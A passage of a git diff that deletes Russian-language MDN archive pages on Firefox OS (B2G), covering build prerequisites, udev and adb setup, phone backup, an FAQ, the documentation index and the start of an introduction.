Вам о необходимости его удаления. Обратите внимание, что утилита удаления не удаляет корректно папку <code>~/Library/Application Support/.FUS</code>, и оставляет ссылку на неё в пользовательском меню. Всё это придётся удалить вручную.</div> -<h3 class="note" id="Починка_libmpc_зависимости_(если_сломана)">Починка libmpc зависимости (если сломана)</h3> -<p>gcc 4.6 изначально собран с libmpc 0.9; если для апдейта пакетов Вы используете homebrew, libmpc обновится до версии 1.0, но homebrew не пересоберёт gcc 4.6 после апдейта этой библиотеки. Так что придётся создать симлинк, чтобы всё снова заработало:</p> -<pre>cd /usr/local/lib/ -ln -s libmpc.3.dylib libmpc.2.dylib</pre> -<h3 id="По_желанию_Установка_HAX">По желанию: Установка HAX</h3> -<p>Intel поставляет специальный драйвер, позволяющий B2G вместо эмуляции кода запускать его нативно на Mac, если Вы используете эмулятор x86. При желании можете <a class="external" href="http://software.intel.com/en-us/articles/intel-hardware-accelerated-execution-manager/" title="http://software.intel.com/en-us/articles/intel-hardware-accelerated-execution-manager/">скачать и установить</a> этот драйвер. Это не обязательно, но может повысить производительность и стабильность работы эмулятора. </p> -<p>Перед инсталляцией HAX нужно установить <a href="http://developer.android.com/sdk/index.html" title="http://developer.android.com/sdk/index.html">Android SDK</a>.</p> -<h2 class="note" id="Установка_adb">Установка adb</h2> -<p>При сборке B2G понадобятся некоторые бинарные файлы из ОС Android, установленной на телефоне (если, конечно, Вы не собираете в эмуляторе). Для того, чтобы получить эти файлы, нужен <code>adb</code>, Android Debug Bridge.</p> -<p>Установите <a class="external" href="http://developer.android.com/sdk/index.html" title="http://developer.android.com/sdk/index.html">Android SDK starter package</a> для Вашей платформы (Вам нужен <em>ADT Bundle</em>, а не опция <em>SDK Tools Only</em>). Затем запустите менеджер пакетов, <code>$SDK_HOME/tools/android</code>, и используйте GUI для инсталляции "Android SDK Platform-tools".</p> -<p><code>adb</code> устанавливается в <code>$SDK_HOME/platform-tools</code>. Не забудьте добавить эту директорию в <code>PATH</code> в файле <code>~/.bashrc</code> или аналогичном<code>:</code></p> -<pre>PATH=$SDK_HOME/platform-tools:$PATH</pre> -<p>где <code>$SDK_HOME</code> - фактическое место расположения android sdk.</p> -<h2 class="note" id="Установка_heimdall">Установка heimdall</h2> -<p>Heimdall - это утилита для flashing Samsung Galaxy S2. Она используется при Boot to Gecko flash utility для замещения контента телефона с Firefox OS, а также для flash updated versions of B2G and Gaia onto the device. Вам потребуется эта утилита, если Вы хотите установить Firefox OS на Galaxy S2; она <strong>не</strong> нужна для любых других устройств. Для всех прочих устройств используется утилита fastboot.</p> -<div class="note"> - <strong>Примечание:</strong> Опять же, важно отметить, что это <strong>требуется только для установки Firefox OS на Samsung Galaxy S2</strong>.</div> -<p>Установить heimdall можно двумя способами:</p> -<ul> - <li>Можно <a class="link-https" href="https://github.com/Benjamin-Dobell/Heimdall" title="https://github.com/Benjamin-Dobell/Heimdall">скачать исходники</a> с GitHub и собрать самостоятельно.</li> - <li>Можно установить с помощью менеджера пакетов: - <ul> - <li>В Linux: <code>sudo apt-get install libusb-1.0-0 libusb-1.0-0-dev</code></li> - <li>Для Maка: <a class="link-https" href="https://github.com/downloads/Benjamin-Dobell/Heimdall/heimdall-suite-1.3.2-mac.dmg" title="https://github.com/downloads/Benjamin-Dobell/Heimdall/heimdall-suite-1.3.2-mac.dmg">скачать инсталлятор</a>.</li> - </ul> - </li> -</ul> -<h2 id="Конфигурирование_ccache">Конфигурирование ccache</h2> -<p>По умолчанию размер кэша для ccache равен 1GB; сборка B2G легко первышает этот порог. Изменить размер кэша можно таким образом:</p> -<pre><code>$ ccache --max-size 3GB</code></pre> -<h2 id="Настройка_udev_rule_для_Вашего_телефона">Настройка udev rule для Вашего телефона</h2> -<p>Чтобы узнать USB vendor ID, запустите <code>lsusb</code>, но, как правило, это <code>18d1</code> для Google, <code>04e8</code> для Samsung, <code>19d2</code> для ZTE, <code>05c6</code> для Qualcomm, таким образом, все вопросы в данном случае решаются добавлением такой строки в <code>/etc/udev/rules.d/android.rules</code> (создайте этот файл, если его еще нет, заменив <code>XXXX</code> нужным ID):</p> -<pre>SUBSYSTEM=="usb", ATTR{idVendor}=="XXXX", MODE="0666", GROUP="plugdev"</pre> -<p>Например, для ZTE содержимое android.rules будет следубщим:</p> -<pre style="font-size: 14px;">SUBSYSTEM=="usb", ATTR{idVendor}=="19d2", MODE="0666", GROUP="plugdev"</pre> -<p><span style="line-height: 1.572;">Закончив редактирование файла и сохранив изменения, выставьте ему права на чтение:</span></p> -<pre>$ sudo chmod a+r /etc/udev/rules.d/android.rules -</pre> -<p>Теперь можно проверить, выведется ли список устройств командой adb:</p> -<pre style="font-size: 14px;">$ adb devices -List of devices attached -123456 device</pre> -<p>Если устройство не обнаружено, убедитесь, что имя файла и скрипта корректны, после чего перезагрузите компьютер и снова введите команду adb. Имейте в виду, что, если Вы используете fastboot, загрузчик может идентифицироваться с другим vendor ID, нежели используется при нормальной загрузке устройства.</p> -<h2 id="Переведите_телефон_в_developer_mode">Переведите телефон в developer mode</h2> -<p>Прежде, чем подключить телефон к USB порту, переведите его в USB developer mode. Это позволит отлаживаться на телефоне и flash the phone. Для перевода в этот режим: Settings app -> <code>Device information</code> -> <code>Mode Information</code> -> <code>Developer</code> -> (enable) <code>Developer mode</code></p> -<h2 id="Архивация_системного_раздела_телефона">Архивация системного раздела телефона</h2> -<p>Рекомендуеься предварительно сделать архивную копию всего системного раздела с Android. В таком случае позже Вы всегда сможете вернуться к старой операционной системе после удаления B2G. Для архивации запустите:</p> -<pre>adb pull /system <backup target dir>/system -</pre> -<p>В зависимости от модели телефона, может также потребоваться:</p> -<pre>adb pull /data <backup target dir>/data -adb pull /vendor <backup target dir>/vendor -</pre> -<p>Если цказанная команда вывалит ошибку "insufficient permission", попробуйте следующее:</p> -<ul> - <li>остановите и перезапустите adb сервер, если же это не удастся,</li> - <li>перепроверьте, что у 'adb' tool выставлены права <em>root</em> в пределах Вашего кастомного ROM (т.е. в CyanogenMod, поменяйте 'Settings > System > Developer Options > Root Access' на 'Apps и ADB' либо 'ADB only').</li> - <li>Убедитесь в правильной конфигурации udev rule (см. {{ anch("Настройка udev rule для Вашего телефона") }}.</li> -</ul> -<h2 id="Что_дальше">Что дальше?</h2> -<p>А вот теперь можно <a href="/en-US/docs/Mozilla/Firefox_OS/Preparing_for_your_first_B2G_build" title="en-US/docs/Mozilla/Firefox_OS/Preparing_for_your_first_B2G_build">получить код Firefox OS</a>!</p> diff --git a/files/ru/archive/b2g_os/firefox_os_faq/index.html b/files/ru/archive/b2g_os/firefox_os_faq/index.html deleted file mode 100644 index 7310f9bdaf..0000000000 --- a/files/ru/archive/b2g_os/firefox_os_faq/index.html +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Firefox OS FAQ -slug: Archive/B2G_OS/Firefox_OS_FAQ -translation_of: Archive/B2G_OS/Introduction ---- -<dl> - <dt> - Как я могу получить developer preview телефон?</dt> - <dd> - Они скоро будут доступны на сайте <a href="http://www.geeksphone.com/">Geeksphone</a>.</dd> - <dt> - Если я не желаю покупать телефон, могу ли я разрабатывать приложение для ОС Firefox?</dt> - <dd> - Конечно! Вы можете тестировать ваше приложение на Андроиде (используя <a href="https://hacks.mozilla.org/2012/10/firefox-marketplace-aurora/">Marketplace for Firefox</a>) или на своем компьютере, используя <a href="https://hacks.mozilla.org/2012/12/firefox-os-simulator-1-0-is-here/">симулятор ОС </a><a href="https://hacks.mozilla.org/2012/12/firefox-os-simulator-1-0-is-here/">Firefox</a>.</dd> - <dt> - Как это сопоставимо с финальной версией телефона?</dt> - <dd> - Мы работаем с несколькими партнерами в направлении вывода телефона на потребительских рынок. О наших устройствах мы будем говорить чуть позднее.</dd> - <dt> - Где я могу скачать ОС Firefox для пробы на своем собственном телефоне?</dt> - <dd> - <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS">https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS</a></dd> - <dt> - Каким образом я могу протестировать мое приложение на ОС Firefox?</dt> - <dd> - На Андроиде или с помощью симулятора ОС Firefox OS.</dd> - <dt> - Что представляет собой ОС Firefox?</dt> - <dd> - A. Это новая мобильная операционная система, созданная с использованием исключительно открытых веб-стандартов. В ней все функции современных мобильных устройств (звонки, переписка, браузер и т.д.) представляют собой приложения, написанные на языке HTML5, которые могут получить доступ к основным возможностям телефона (которые доступны только для собственных приложений в других программных экосистемах).</dd> - <dt> - Каков полный список Web API? Вы будете потом все это стандартизировать?</dt> - <dd> - Огромное количество Web APIs будет поддерживаться в первоначальной реализации ОС Firefox. Полный список можете найти на <a href="https://wiki.mozilla.org/WebAPI#APIs">https://wiki.mozilla.org/WebAPI#APIs</a>. <a href="https://hacks.mozilla.org/2012/01/mozilla-joins-the-w3c-dap-webapi-progress/">Стандартизация продолжается</a>.</dd> - <dt> - Ваши Web APIs стандартизированы для кросс-платформенного использования?</dt> - <dd> - Да, API являются результатом работы с несколькими партнерами и производителями, и некоторые из них уже окончены на других платформах. Предоставление веб-приложениям доступа к аппаратной части устройств наших конечных пользователей является проблемой практически каждой технологической компании, которая с этим сталкивается, и наши предложения являются хорошей отправной точкой для того, чтобы это происходило на большом количестве платформ.</dd> -</dl> diff --git a/files/ru/archive/b2g_os/index.html b/files/ru/archive/b2g_os/index.html deleted file mode 100644 index 55d407f572..0000000000 --- a/files/ru/archive/b2g_os/index.html +++ /dev/null @@ -1,225 +0,0 @@ ---- -title: B2G OS -slug: Archive/B2G_OS -tags: - - Firefox OS - - Gaia - - Начальная FirefoxOS -translation_of: Archive/B2G_OS ---- -<div class="summary"> -<p><span class="seoSummary">Firefox OS — мобильная операционная система, разработанная компанией Mozilla, основанная на ядре Linux и мощном движке рендеринга Firefox's Gecko.</span></p> -</div> - -<div class="column-container zone-callout"> -<p><strong>Firefox OS</strong> — это программное обеспечение с открытым исходным кодом, позволяющее разработчикам создавать сложные приложения для конечных пользователей используя всю мощь и гибкость Web-технологий. <strong>Весь интерфейс это веб-приложение,</strong> способное запускать и отображать другие приложения. Приложения для Firefox OS создаются с использованием HTML, CSS и JavaScript, при этом они имеют доступ к оборудованию и сервисам устройства через интерфейс программирования приложений (API).</p> - -<p>С точки зрения развития продукта, Firefox OS — это сервис поддержки и продвижения Mozilla (и наших OEM-партнёров), основанный на операционной системе с кодовым именем <strong>Boot to Gecko</strong> (<strong>B2G</strong>). Boot to Gecko разработана командой инженеров Mozilla и многочисленными независимыми разработчиками обширного сообщества открытого кода Mozilla.</p> -</div> - -<section class="outer-apps-box" id="sect1"> -<h2 id="Создание_приложений_для_Firefox_OS"><a href="/ru/Apps/Build/installable_apps_for_Firefox_OS">Создание приложений для Firefox OS</a></h2> - -<p>Посетите наш Центр приложений для получения подробной информации о способах создания открытых веб-приложений, которые можно установить в Firefox OS!</p> -</section> - -<div class="column-container"> -<div class="column-third"> -<h2 class="Documentation" id="Documentation" name="Documentation"><a href="/ru/docs/Mozilla/Firefox_OS/Platform">Руководства</a></h2> - -<p>Руководства для разработчиков, описывающие как соединить различные компоненты Firefox OS в одно целое.</p> - -<ul> - <li><a href="/ru/docs/Mozilla/Firefox_OS/Platform/Gaia" title="/ru/docs/Mozilla/Firefox_OS/Platform/Gaia">Gaia</a></li> - <li><a href="/ru/Firefox_OS/Platform/Gonk" title="/ru/docs/Mozilla/Firefox_OS/Platform/Gonk">Gonk</a></li> - <li><a href="/ru/docs/Mozilla/Gecko" title="/ru/docs/Mozilla/Gecko">Gecko</a></li> -</ul> -</div> - -<div class="column-third"> -<h2 id="Сборка_и_установка"><a href="/ru/Firefox_OS/Building_and_installing_Firefox_OS">Сборка и установка</a></h2> - -<p>Руководство по сборке и установке Firefox OS на эмулятор, совместимые устройства или десктопный симулятор.</p> - -<ul> - <li><a href="/ru/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites">Перед сборкой Firefox OS </a></li> - <li><a href="/ru/docs/Mozilla/Firefox_OS/Preparing_for_your_first_B2G_build">Подготовка к первой сборке</a></li> - <li><a href="/ru/Firefox_OS/Создание" title="Mozilla/Firefox_OS/Building">Сборка Firefox OS</a></li> -</ul> -</div> - -<div class="column-third"> -<h2 id="Смартфоны_для_разработчиков"><a href="/ru/docs/Mozilla/Firefox_OS/Developer_phone_guide">Смартфоны для разработчиков</a></h2> - -<p>Информация о конкретных смартфонах для разработчиков: настройка, обновление, восстановление и покупка.</p> - -<ul> - <li><a href="https://developer.mozilla.org/ru/Firefox_OS/Developer_phone_guide/Flame">Flame</a></li> - <li><a href="/ru/docs/Mozilla/Firefox_OS/Developer_phone_guide/Updating_and_Tweaking_Geeksphone">Geeksphone</a></li> - <li><a href="https://developer.mozilla.org/ru/docs/Mozilla/Firefox_OS/Developer_phone_guide/ZTE_OPEN">ZTE Open</a></li> - <li><a href="https://developer.mozilla.org/ru/Firefox_OS/Developer_phone_guide/ZTE_OPEN_C">ZTE Open C</a></li> - <li><a href="/ru/docs/Mozilla/Firefox_OS/Troubleshooting">Решение проблем</a></li> - <li><a href="/ru/Firefox_OS/Developer_phone_guide/Phone_specs">Спецификации</a></li> -</ul> -</div> -</div> - -<div class="column-container equalColumnHeights"> -<div class="zone-callout"> -<h2 id="Книги_по_Firefox_OS">Книги по Firefox OS</h2> - -<p>Есть и создаётся несколько книг о разных аспектах разработки для Firefox OS development. Подробности — на сайте <a href="http://firefoxosbooks.org/">Firefox OS Books</a>.</p> -</div> - -<div class="zone-callout"> -<h2 id="Другие_полезные_страницы">Другие полезные страницы</h2> - -<ul> - <li><a href="https://www.mozilla.org/ru/styleguide/products/firefox-os/"><span class="gmw_"><span class="gm-spell gm_ gm_d869ea80-e62d-d8a6-6929-a6e9983578ff">Руководство по оформлению</span> Firefox OS</span></a></li> - <li><a class="link-https" href="https://wiki.mozilla.org/B2G/FAQ" title="B2G/FAQ">FAQ на Mozilla wiki</a></li> - <li><a href="/ru/docs/Mozilla/Firefox_OS/Feature_support_chart" title="/ru/docs/Mozilla/Firefox_OS/Feature_support_chart">Таблица поддержки возможностей</a></li> - <li><a href="/ru/docs/Mozilla/Firefox_OS/Geeksphone_FAQ" title="/ru/docs/Mozilla/Firefox_OS/Geeksphone_FAQ">Geeksphone FAQ</a></li> -</ul> -</div> -</div> - -<div class="note"> -<p><strong>Примечание:</strong> Мы отслеживаем процесс работы над документацией Firefox OS на нашей странице <a href="/ru/docs/MDN/Doc_status/Firefox_OS">состояния документации Firefox OS</a>. Если вы хотите помочь в подготовке документации к Firefox OS, пожалуйста посетите страницу, чтобы увидеть, что нуждается во внимании!</p> -</div> - -<h2 id="Навигация">Навигация</h2> - -<ol> - <li><a href="/ru/docs/Mozilla/Boot_to_Gecko/Introduction">Введение в ОС Firefox</a></li> - <li><a href="/ru/Firefox_OS/Platform" title="Documentation about the Firefox OS platform, including Gonk, Gaia, and everything in between.">Platform guide</a> - <ol> - <li><strong><a href="/ru/Firefox_OS/Platform">Platform guide overview</a></strong></li> - <li><a href="/ru/Firefox_OS/Platform/Architecture" title="An overview of how Firefox OS is structured internally; this is primarily of interest to platform developers and people doing porting work.">Architecture overview</a></li> - <li><a href="/ru/Firefox_OS/Platform/Apps_architecture" title="An overview of the application model on Firefox OS.">Apps architecture</a></li> - <li><a href="/ru/Firefox_OS/Platform/Gonk" title="Documentation about Gonk, the operating system layer underneath Gaia. This consists of a Linux kernel and a hardware abstraction layer to which Gecko communicates."><span class="gm-spell gm_ gm_db111eae-c215-78a2-9789-97be921cbbdc">Gonk</span></a></li> - <li><a href="/ru/Gecko" title="Gecko is the layer of Firefox OS that provides the same open web standards implementation used by Firefox and Thunderbird, as well as many other applications.">Gecko</a></li> - <li><a href="/ru/Firefox_OS/Platform/Gaia" title="Documentation about Gaia, the user interface application for Firefox OS devices; this is a Web application running atop the Firefox OS software stack.">Gaia</a></li> - <li><a href="/ru/Firefox_OS/Platform/Gaia/Gaia_apps">Gaia apps guide</a></li> - <li><a href="/ru/Firefox_OS/Security" title="Documentation about security in Firefox OS">Security</a> - <ol> - <li><a href="/ru/Firefox_OS/Security/Security_model">The Firefox OS security model</a></li> - <li><a href="/ru/Firefox_OS/Security/System_security">System security</a></li> - <li><a href="/ru/Firefox_OS/Security/Application_security">Application security in Firefox OS</a></li> - <li><a href="/ru/Firefox_OS/Security/Installing_and_updating_applications">Securely installing and updating applications</a></li> - </ol> - </li> - <li><a href="/ru/Firefox_OS/Platform/Out_of_memory_management_on_Firefox_OS">Out of memory management on Firefox OS </a></li> - <li><a href="/ru/Firefox_OS/Platform/Feature_support_chart" title="A chart of which features are available in which types of Firefox OS builds.">Feature support chart</a></li> - <li><a href="/ru/Firefox_OS/Platform/Settings_list" title="A list of common setting names that can be used with the settings API">Settings list</a></li> - </ol> - </li> - <li><a href="/ru/Firefox_OS/Building_and_installing_Firefox_OS" title="This includes documentation for building and installing the platform onto devices, as well as building the simulator and emulators.">Build and install</a> - <ol> - <li><strong><a href="/ru/Firefox_OS/Building_and_installing_Firefox_OS">Build and install overview</a></strong></li> - <li><a href="/ru/Firefox_OS/Building_and_installing_Firefox_OS/Firefox_OS_build_process_summary">Firefox OS build process summary</a></li> - <li><a href="/ru/Firefox_OS/Firefox_OS_build_prerequisites" title="Steps to take before you build Firefox OS for the first time.">Build prerequisites</a></li> - <li><a href="/ru/Firefox_OS/Preparing_for_your_first_B2G_build" title="Before you can build Firefox OS, you need to clone the repository and configure your build.">Preparing for your first build</a></li> - <li><a href="/ru/Firefox_OS/Building" title="How to build Firefox OS.">Building Firefox OS</a></li> - <li><a href="/ru/Firefox_OS/Building_and_installing_Firefox_OS/Building_Firefox_OS_for_flame_on_OSX">Building Firefox OS for flame on OSX</a></li> - <li><a href="/ru/Firefox_OS/Choosing_how_to_run_Gaia_or_B2G" title="Using Gaia within Firefox, running Firefox OS on a mobile device, or in a desktop-based simulator. Which is best?">Choosing how to run Gaia or Firefox OS</a></li> - <li><a href="/ru/Firefox_OS/Building_the_Firefox_OS_simulator" title="Simulating the Gaia environment in a desktop application - more accurate than running Gaia in Firefox but not as accurate as the emulators.">Building the Firefox OS simulator</a></li> - <li><a href="/ru/Firefox_OS/Using_the_B2G_emulators" title="A guide to building and using the Firefox OS emulators, and when to use which emulator.">Using the Firefox OS emulators</a></li> - <li><a href="/ru/Firefox_OS/Installing_on_a_mobile_device" title="How to install Firefox OS on a real mobile device.">Installing Firefox OS on a mobile device</a></li> - <li><a href="/ru/Firefox_OS/Building_and_installing_Firefox_OS/Firefox_OS_update_packages">Creating and applying Firefox OS update packages</a></li> - <li><a href="/ru/Firefox_OS/Building/FOTA_community_builds">Building and installing FOTA community builds</a></li> - <li><a href="/ru/Firefox_OS/Building_and_installing_Firefox_OS/B2G_Build_Variables_Reference_Sheet">B2G build variables reference sheet</a></li> - <li><a href="/ru/Firefox_OS/Runtime_tools">Runtime tools</a></li> - </ol> - </li> - <li><a href="/ru/Firefox_OS/Developing_Firefox_OS" title="Hack the OS, customize your builds, get things the way you think they should be!">Developing Firefox OS</a> - <ol> - <li><strong><a href="/ru/Firefox_OS/Developing_Firefox_OS">Developing Firefox OS overview</a></strong></li> - <li><a href="/ru/Firefox_OS/Developing_Firefox_OS/Filing_bugs_against_Firefox_OS">Filing bugs against Firefox OS</a></li> - <li><a href="/ru/Firefox_OS/Developing_Firefox_OS/modifying_hosts_file" title="A guide to what can be achieved by modifying the Firefox OS hosts file.">Modifying the hosts file</a></li> - <li><a href="/ru/Firefox_OS/Customization_with_the_.userconfig_file" title="How to customize the build and execution of Firefox OS by changing the .userconfig file.">Customization with the .userconfig file</a></li> - <li><a href="/ru/Firefox_OS/Developing_Firefox_OS/Customizing_the_b2g.sh_script">Customizing the b2g.sh script</a></li> - <li><a href="/ru/Firefox_OS/Developing_Firefox_OS/Porting" title="Information about how to port Firefox OS to new devices.">Porting Firefox OS</a></li> - </ol> - </li> - <li><a href="/ru/Firefox_OS/Developing_Gaia">Developing Gaia</a> - <ol> - <li><strong><a href="/ru/Firefox_OS/Developing_Gaia">Developing Gaia overview</a></strong></li> - <li><a href="/ru/Firefox_OS/Developing_Gaia/Running_the_Gaia_codebase">Running the Gaia codebase</a></li> - <li><a href="/ru/Firefox_OS/Developing_Gaia/Understanding_the_Gaia_codebase">Understanding the Gaia codebase</a></li> - <li><a href="/ru/Firefox_OS/Developing_Gaia/Making_Gaia_code_changes">Making Gaia code changes</a></li> - <li><a href="/ru/Firefox_OS/Developing_Gaia/Test_Gaia_code_changes">Testing Gaia code changes</a></li> - <li><a href="/ru/Firefox_OS/Developing_Gaia/Submitting_a_Gaia_patch">Submitting a Gaia patch</a></li> - <li><a href="/ru/Firefox_OS/Platform/Gaia/Build_System_Primer">Gaia build system primer</a></li> - <li><a href="/ru/Firefox_OS/Developing_Gaia/Customizing_build-time_apps">Customizing build-time apps</a></li> - <li><a href="/ru/Firefox_OS/Developing_Gaia/Market_customizations_guide">Market customizations guide</a></li> - <li><a href="/ru/Firefox_OS/Developing_Gaia/Customizing_the_keyboard">Customizing the keyboard in Firefox OS apps</a></li> - <li><a href="/ru/Firefox_OS/Developing_Gaia/Localizing_Firefox_OS">Localizing Firefox OS</a></li> - <li><a href="/ru/Firefox_OS/Developing_Gaia/L10n_Best_Practices">L10n Best Practices</a></li> - <li><a href="/ru/Firefox_OS/Developing_Gaia/make_options_reference">Make options reference</a></li> - <li><a href="/ru/Firefox_OS/Developing_Gaia/Gaia_tools_reference">Gaia tools reference</a></li> - </ol> - </li> - <li><a href="/ru/Firefox_OS/Phone_guide" title="A developer's guide to the Firefox OS developer phones available.">Firefox OS phone guide </a> - <ol> - <li><strong><a href="/ru/Firefox_OS/Phone_guide">Firefox OS phone guide overview</a></strong></li> - <li><a href="/ru/Firefox_OS/Developer_phone_guide/Phone_specs">Phone and device specs</a></li> - <li><a href="/ru/Firefox_OS/Developer_phone_guide/Geeksphone">Geeksphone</a></li> - <li><a href="/ru/Firefox_OS/Developer_phone_guide/ZTE_OPEN">ZTE OPEN</a></li> - <li><a href="/ru/Firefox_OS/Developer_phone_guide/ZTE_OPEN_C">ZTE OPEN C</a></li> - <li><a href="/ru/Firefox_OS/Developer_phone_guide/Flame">Flame</a></li> - <li><a href="/ru/Firefox_OS/Developer_phone_guide/Firefox_OS_device_features">General device features</a></li> - <li><a href="/ru/Firefox_OS/Troubleshooting" title="A guide to resolving common problems with Firefox OS.">Troubleshooting</a></li> - <li><a href="/ru/Firefox_OS/Developer_phone_guide/Best_practices_open_reference_devices">Best practices for open reference devices</a></li> - </ol> - </li> - <li><a href="/ru/Firefox_OS/TVs_connected_devices">Firefox OS on TVs and connected devices</a></li> - <li><a href="/ru/Firefox_OS/Releases" title="This section of the site contains release notes, explaining what new features and changes of significance to developers have landed in each new release of Gaia and Gecko on Firefox OS.">Firefox OS release notes</a> - <ol> - <li><a href="/ru/Firefox_OS/Releases">Firefox OS release notes overview</a></li> - <li><a href="/ru/Firefox_OS/Releases/2.2">Firefox OS 2.2 for developers</a></li> - <li><a href="/ru/Firefox_OS/Releases/2.1">Firefox OS 2.1 for developers</a></li> - <li><a href="/ru/Firefox_OS/Releases/2.0">Firefox OS 2.0 for developers</a></li> - <li><a href="/ru/Firefox_OS/Releases/1.4">Firefox OS 1.4 for developers</a></li> - <li><a href="/ru/Firefox_OS/Releases/1.3">Firefox OS 1.3 for developers</a></li> - <li><a href="/ru/Firefox_OS/Releases/1.2">Firefox OS 1.2 for developers</a></li> - <li><a href="/ru/Firefox_OS/Releases/1.1">Firefox OS 1.1 for developers</a></li> - <li><a href="/ru/Firefox_OS/Releases/1.0.1">Firefox OS 1.0.1 for developers</a></li> - </ol> - </li> - <li><a href="/ru/Firefox_OS/Automated_testing">Automated testing</a> - <ol> - <li><strong><a href="/ru/Firefox_OS/Automated_testing">Firefox OS automated testing overview</a></strong></li> - <li><a href="/ru/Firefox_OS/Running_Tests_on_Firefox_OS_for_Developers">Running tests on Firefox OS: A guide for developers</a></li> - <li><a href="/ru/docs/Mozilla/Firefox_OS/Automated_testing/gaia-ui-tests" title="/ru/docs/Mozilla/Firefox_OS/Automated_testing/gaia-ui-tests">Gaia UI tests</a></li> - <li><a href="/ru/docs/Mozilla/Firefox_OS/Automated_testing/Gaia_integration_tests">Gaia integration tests</a></li> - <li><a href="/ru/docs/Mozilla/Firefox_OS/Automated_testing/Gaia_unit_tests" title="/ru/docs/Mozilla/Firefox_OS/Automated_testing/Gaia_unit_tests">Gaia unit tests</a></li> - <li><a href="/ru/Firefox_OS/Automated_testing/Gaia_performance_tests">Gaia performance tests</a></li> - <li><a href="/ru/docs/Mozilla/Firefox_OS/Automated_testing/Mochitests" title="/ru/docs/Mozilla/Firefox_OS/Automated_testing/Mochitests"><span class="gm-spell gm_ gm_8ea2aeb5-60d9-d796-930f-2db1e4217eaa">Mochitests</span></a></li> - <li><a href="/ru/docs/Mozilla/Firefox_OS/Automated_testing/Reftests" title="/ru/docs/Mozilla/Firefox_OS/Automated_testing/Reftests"><span class="gm-spell gm_ gm_9567400a-e713-3d43-ffa9-05fd8c3a28a2">Reftests</span></a></li> - <li><a href="/ru/docs/Marionette/Marionette_JavaScript_Tests" title="/ru/docs/Marionette/Marionette_JavaScript_Tests">WebAPI tests</a></li> - <li><a href="/ru/docs/Mozilla/Firefox_OS/Automated_testing/XPCShell" title="/ru/docs/Mozilla/Firefox_OS/Automated_testing/XPCShell"><span class="gmw_"><span class="gm-spell gm_ gm_cc093417-aacf-72e2-e15f-c15a7509a6a8">xpcshell</span> tests</span></a></li> - <li><a href="/ru/docs/Mozilla/Firefox_OS/Automated_testing/MTBF_tests">MTBF test</a></li> - <li><a href="/ru/docs/Marionette" title="/ru/docs/Marionette">Marionette</a></li> - <li><a href="/ru/docs/Mozilla/Firefox_OS/Automated_testing/Treeherder">Treeherder</a></li> - <li><a class="external external-icon" href="https://wiki.mozilla.org/QA/Execution/Web_Testing/Automation/Jenkins">Jenkins</a></li> - </ol> - </li> - <li><a href="/ru/Firefox_OS/Debugging" title="A guide to debugging both your mobile apps and Firefox OS itself.">Debugging</a> - <ol> - <li><strong><a href="/ru/Firefox_OS/Debugging">Firefox OS debugging overview</a></strong></li> - <li><a href="/ru/Firefox_OS/Debugging/Developer_settings">Developer settings for Firefox OS</a></li> - <li><a href="/ru/Firefox_OS/Debugging/Connecting_a_Firefox_OS_device_to_the_desktop">Connecting a Firefox OS device to the desktop</a></li> - <li><a href="/ru/Firefox_OS/Debugging/Setting_up">Setting up to debug Firefox OS using Firefox developer tools</a></li> - <li><a href="/ru/Firefox_OS/Debugging/On-device_console_logging">On-device console logging</a></li> - <li><a href="/ru/Firefox_OS/Debugging/Installing_ADB">Installing and using ADB</a></li> - <li><a href="/ru/Firefox_OS/Firefox_OS_usage_tips/taking_screenshots">Taking screenshots</a></li> - <li><a href="/en_US/docs/Tools/WebIDE" title="A tool that allows you to install open web apps from your computer to a device capable of installing them (such as Firefox OS) - and debug any running app.">Using the WebIDE</a></li> - <li><a href="/ru/Firefox_OS/Using_the_App_Manager">Using the App Manager</a></li> - <li><a href="/ru/Firefox_OS/Debugging/Firefox_OS_crash_reporting">Firefox OS crash reporting</a></li> - <li><a href="/ru/Firefox_OS/Debugging/Debugging_OOMs">Debugging out of memory errors on Firefox OS</a></li> - <li><a href="/ru/Firefox_OS/Debugging/Debugging_and_security_testing">Debugging and security testing with Firefox OS</a></li> - <li><a href="/ru/Firefox_OS/Debugging/Debugging_B2G_using_gdb"><span class="gmw_">Debugging B2G using <span class="gm-spell gm_ gm_7a44a2c7-9d5d-e693-57b5-a88dd9adacd8">gdb</span></span></a></li> - <li><a href="/ru/Firefox_OS/Debugging/Debugging_B2G_using_valgrind">Debugging B2G using Valgrind</a></li> - </ol> - </li> -</ol> diff --git a/files/ru/archive/b2g_os/introduction/index.html b/files/ru/archive/b2g_os/introduction/index.html deleted file mode 100644 index 48450f392a..0000000000 --- a/files/ru/archive/b2g_os/introduction/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Введение в ОС Firefox -slug: Archive/B2G_OS/Introduction -translation_of: Archive/B2G_OS/Introduction ---- -<p><strong>Firefox OS</strong> (также известная под рабочим названием "Boot to Gecko" или "B2G") является мобильной операционной системой с открытым исходным кодом, базирующейся на Linux и Gecko, от Mozilla. Идея проекта состоит в том, чтобы всё доступное программное обеспечение на мобильном устройстве запускалась как веб-приложение, используя новшества HTML5 и API устройства для прямого взаимодействия с аппаратными средствами посредством javascript.</p> - -<p>For Web developers, the most important part to understand is that the entire user interface is a Web app, one that is capable of displaying and launching other Web apps. Any modifications you make to the user interface and any applications you create to run on Firefox OS are Web pages, albeit with enhanced access to the mobile device's hardware and services.</p> - -<p>You can learn how to build and install Firefox OS by <a href="/en/Mozilla/Boot_to_Gecko/Building_and_installing_Boot_to_Gecko" title="en/Mozilla/Boot_to_Gecko/Building_and_installing_Boot_to_Gecko">following our handy guide</a>.</p> - -<h2 id="Usage_tips">Usage tips</h2> - -<p>This section provides some tips that will help you actually use Firefox OS. This is something of a placeholder until we have real usage documentation. </p> - -<h3 id="Разблокировка_телефона">Разблокировка телефона</h3> - -<p>If your build of Firefox OS starts up asking for a pass code to unlock the device, the default code is 0000. Some builds will do this while we develop and test the lock screen.</p> - -<h3 id="Создание_снимка_экрана">Создание снимка экрана</h3> - -<p>На данный момент невозможно сделать скриншот через устройство на ОС Firefox. Но вы можете сделать это через терминал из ОС Linux или компьютера с Mac OS X с установленными инструментами для сборки приложений под ОС Firefox.</p> - -<ol> - <li>Убедитесь, что у вас установлен ffmpeg. - <ol> - <li>На Mac, если вы используете MacPorts, то вы можете его установить с помощью команды <code>sudo port install ffmpeg</code>. Для homebrew, пропишите 